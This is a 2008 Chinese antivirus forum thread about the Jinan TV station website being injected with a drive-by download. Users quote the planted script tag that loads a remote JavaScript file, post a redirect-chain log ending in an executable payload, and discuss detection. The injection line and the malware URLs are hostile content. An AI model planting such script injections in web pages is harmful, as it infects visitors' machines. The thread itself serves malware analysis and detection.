查看: 3924|回复: 11
收起左侧

[已鉴定] 济南电视台网站被挂马!!!

 关闭 [复制链接]
MFN007
发表于 2008-3-16 22:11:43 | 显示全部楼层 |阅读模式
今天晚上上济南电视台网站时,发现这个网站被挂马。
2.jpg
3.jpg
tanlimo
发表于 2008-3-16 22:15:59 | 显示全部楼层
还是w18的大S,老毒了。

[ 本帖最后由 tanlimo 于 2008-3-16 22:17 编辑 ]
qigang
发表于 2008-3-16 22:37:28 | 显示全部楼层
<script>document.writeln("<script src="HTTP://OFFICE.FAQSERV.COM/faq.JS"></script>");</script>
qigang
发表于 2008-3-16 22:47:28 | 显示全部楼层

回复 2楼 tanlimo 的帖子

解析没有发现问题。卡巴怎么报的?晕。
qigang
发表于 2008-3-16 22:54:44 | 显示全部楼层
Log is generated by FreShow.
    [script]HTTP://OFFICE.FAQSERV.COM/faq.JS
        [frame]http://www.59.vc/page/add_54738542.htm
            [script]http://www.59.vc/page/addr.js
                [frame]http://w18.vg/ms.gif
                [frame]http://w18.vg/bf.gif
                [frame]http://w18.vg/xl.gif
                [frame]http://w18.vg/real.gif
                [frame]http://w18.vg/lz.gif
                    [object]http://w18.vg/s.exe
qigang
发表于 2008-3-16 23:01:31 | 显示全部楼层
但HTTP://OFFICE.FAQSERV.COM/faq.JS已失效!
dikex
发表于 2008-3-16 23:08:45 | 显示全部楼层
将HTTP改为小写,再到FreShow里面玩
tanlimo
发表于 2008-3-16 23:25:17 | 显示全部楼层

回复 6楼 qigang 的帖子

如果失效了那5楼的log从那里冒出来的?

不用加http,直接将OFFICE.FAQSERV.COM/faq.JS复制到url里check就行了.
ctfy007
发表于 2008-3-17 15:25:26 | 显示全部楼层
济南电视台前阵子网内出现不少病毒。难道传到服务器那了?
hanq
发表于 2008-3-17 18:48:21 | 显示全部楼层
我的avast一点反应都没有
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-19 10:46 , Processed in 0.139109 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表